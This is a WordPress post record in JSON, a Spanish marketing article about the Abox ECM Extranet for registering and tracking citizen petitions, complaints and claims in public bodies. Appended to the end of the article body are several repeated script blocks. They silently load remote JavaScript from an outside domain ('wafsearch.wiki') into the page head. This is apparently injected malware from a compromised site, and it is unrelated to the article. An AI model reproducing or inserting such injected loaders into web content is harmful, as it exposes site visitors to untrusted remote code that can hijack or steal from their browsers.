{"id":2944,"date":"2018-01-06T17:52:52","date_gmt":"2018-01-06T22:52:52","guid":{"rendered":"https:\/\/149.56.148.186\/?p=2637"},"modified":"2026-03-20T05:17:06","modified_gmt":"2026-03-20T10:17:06","slug":"la-extranet-de-abox-como-complemento-optimo-para-la-ventanilla-unica-de-registro","status":"publish","type":"post","link":"https:\/\/www.adapting.com\/en\/la-extranet-de-abox-como-complemento-optimo-para-la-ventanilla-unica-de-registro\/","title":{"rendered":"La Extranet de Abox como complemento \u00f3ptimo para la Ventanilla \u00danica de Registro"},"content":{"rendered":"<p>El laboratorio de Abox (<strong>Adapting Lab<\/strong>) ha lanzado una nueva versi\u00f3n de su <strong>Extranet<\/strong> provista de formularios web que permite hacer realidad las necesidades de los clientes que ya disponen de una Ventanilla \u00danica de Registro, pero que requieren <strong>integrar a los usuarios<\/strong> en sus procesos.<\/p>\n<p><img loading=\"lazy\" class=\"size-medium wp-image-2639 alignleft\" src=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2018\/01\/pqrs-solicitudes-extranet-300x166.png\" alt=\"\" width=\"300\" height=\"166\" \/> Esto es especialmente necesario para la <strong>gesti\u00f3n de PQRs<\/strong> (Peticiones, Quejas y Reclamos), incluyendo sugerencias, felicitaciones y denuncias en las entidades p\u00fablicas.<\/p>\n<p>En estos procesos las leyes y normativas vigentes exigen el cumplimiento de ciertos plazos, el acceso telem\u00e1tico para registrar y conocer el estado del tr\u00e1mite, la preservaci\u00f3n del anonimato y la conservaci\u00f3n de todas las evidencias documentales surgidas durante el procedimiento.<\/p>\n<p>Las principales <strong>limitaciones<\/strong> con las que se encuentran las organizaciones son:<\/p>\n<ol>\n<li>Las PQRs pueden recibirse f\u00edsicamente en las Ventanilla, por correo electr\u00f3nico o por formularios en la p\u00e1gina web. Cada formato suele tramitarse de forma independiente, con lo que se dispersan recursos y es muy dif\u00edcil consolidar la informaci\u00f3n.<\/li>\n<li>La transparencia y posibilidad de acceso electr\u00f3nico de los usuarios (ciudadanos) a cada tr\u00e1mite requieren proporcionar informaci\u00f3n sobre el estado de cada tr\u00e1mite y cumplir con una serie de plazos, con independencia del canal de registro de las PQRs.<\/li>\n<\/ol>\n<p>Las nuevas<strong> funcionalidades de la Extranet<\/strong> de abox ECM permiten:<\/p>\n<ul>\n<li>Registrar PQRs de forma nominativa o an\u00f3nima, mediante un enlace en la p\u00e1gina web de la entidad.<\/li>\n<li>Incorporar las PQRs registradas telem\u00e1ticamente al registro \u00fanico de entrada de la entidad.<\/li>\n<li>Integrar cualquier PQR (sea \u00e9sta radicada en f\u00edsico o de forma electr\u00f3nica) en un mismo flujo de trabajo (workflow), de forma estandarizada.<\/li>\n<li>Emplear el nuevo canal telem\u00e1tico (Extranet) como punto de intercambio de informaci\u00f3n con el usuario. Por ejemplo, la Extranet puede solicitar informaci\u00f3n adicional al ciudadano y puede informar sobre el estado del tr\u00e1mite, fechas de vencimiento y cualquier informaci\u00f3n sobre el procedimiento administrativo aplicable.<\/li>\n<\/ul>\n<p><img loading=\"lazy\" class=\"alignright size-medium wp-image-2640\" src=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2018\/01\/pqrs-consultas-extranet-300x155.png\" alt=\"\" width=\"300\" height=\"155\" \/>De esta manera, los <strong>operarios de la Ventanilla \u00danica<\/strong> podr\u00e1n radicar sin ning\u00fan esfuerzo adicional cualquier PQR que se reciba en f\u00edsico o desde la p\u00e1gina web, distribuyendo estas solicitudes a los responsables de la entidad y generando las oportunas alarmas para que no se incumplan los plazos estipulados.<\/p>\n<p>Los <strong>usuarios (ciudadanos)<\/strong> reciben un c\u00f3digo \u00fanico de radicaci\u00f3n que les permite consultar el estado de tr\u00e1mite de sus solicitudes y enviar informaci\u00f3n complementaria cuando \u00e9sta les sea requerida, todo de forma aut\u00f3noma desde la p\u00e1gina web de la entidad.<\/p>\n<p>Los <strong>responsables del tr\u00e1mite de PQRs<\/strong>, por su parte, contar\u00e1n con un expediente electr\u00f3nico y un potente workflow que les permitir\u00e1 controlar la documentaci\u00f3n recibida y enviada, as\u00ed como notificar a los t\u00e9cnicos y gerentes de los departamentos involucrados para que elaboren los informes o respuestas que se requieran, dentro de los tiempos previstos. Adem\u00e1s, dispondr\u00e1n de informes globales para supervisar el proceso de atenci\u00f3n al usuario.<\/p>\n<blockquote><p>La <strong>Extranet de Abox<\/strong> es el complemento \u00f3ptimo para cualquier proyecto de gesti\u00f3n electr\u00f3nica de documentos que busque un <strong>nuevo canal telem\u00e1tico<\/strong> de comunicaci\u00f3n con el usuario (ciudadano) integrado con los procesos internos.<\/p><\/blockquote>\n<p><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = 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